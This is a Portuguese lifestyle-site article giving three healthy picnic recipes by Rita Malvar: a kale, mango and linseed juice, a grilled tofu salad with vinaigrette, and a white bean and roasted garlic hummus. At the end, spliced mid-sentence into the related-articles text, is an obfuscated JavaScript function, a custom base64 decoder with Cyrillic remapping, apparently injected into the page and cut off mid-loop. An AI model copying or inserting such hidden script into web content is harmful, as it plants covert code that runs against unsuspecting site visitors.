Receitas para piquenique: 3 sugestões saudáveis
3 receitas para piquenique, por Rita Malvar
O verão está quase a chegar e já apetece passar bons momentos ao ar livre. Hoje sugerimos que agarre na cesta de piquenique, na manta xadrez e na família ou amigos, e se ponha a caminho de um lugar bonito, na natureza, para um dia bem passado. A ementa? Não se preocupe, a Rita Malvar escolheu 3 receitas de verão deliciosas e saudáveis para levar na cesta e surpreender toda a gente.
Sumo de kale, manga e linhaça
Receitas para piquenique – Sumo de kale, manga e linhaça
1 manga
1 laranja (sumo)
1 folha grande de couve kale
2 chávenas de água
1 c. (sobremesa) de linhaça moída
Retire o caule da kale e use apenas a folhagem verde para o sumo.
Arranje a manga, a laranja e triture a linhaça no momento, assim não perde propriedades.
Triture tudo num liquidificador ou robô de cozinha (idealmente uma centrifugadora a frio) e tem o seu sumo pronto.
Salada de tofu grelhado
Receitas para piquenique - Sumo de kale, manga e linhaça
1 embalagem de tofu fumado
½ alface-iceberg
10 folhas de hortelã
½ meloa cantalupo
½ chávena de framboesas
sal, pimenta e azeite
Vinagrete:
1 dente de alho amassado (ou ralado)
3 c. (sopa) de azeite
1 c. (sopa) mel
3 c. (sopa) sumo de limão
sal e pimenta q.b.
Corte o tofu em fatias e grelhe-o num grelhador pincelado com um pouco de azeite. Lave a alface e corte-a grosseiramente. Pique a hortelã e faça bolinhas de cantalupo (ou quadradinhos, caso não tenha a colher apropriada).
Junte as framboesas e tempere com o vinagrete.
Hummus de feijão branco e alho assado
Receitas para piquenique - Hummus de feijão branco e alho assado
1 lata pequena de feijão-branco cozido
½ cabeça de alho assada
tomilho q.b.
6 folhas de manjericão
sumo de ½ limão
azeite, sal e pimenta q.b.
Asse meia cabeça de alho (com casca e tudo) num pirex com azeite e tomilho. Quando os alhos estiverem assados, retire-lhes a pele (sae muito bem). Num robô de cozinha, deite o feijão escorrido, os alhos, o manjericão, o sumo de limão, o azeite e o sal a gosto. Triture tudo até obter uma pasta homogénea. Pode juntar iogurte grego para uma pasta menos densa.
Torre umas fatias de pão, barre o húmus e pique mais um pouco de manjericão para servir.
Pode encontrar esta e outras receitas em:
Saiba mais em: www.presenca.pt/livro/comida-de-verao/
Se gostou destas receitas para piquenique, veja mais estas 3 receitas de Rita Malvar e esta salada de polvo por Luísa Fortes da Cunha. Saiba também como mimar-se da cabeça aos pés e como ter uma barriga lisa. Descubra ainda function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa
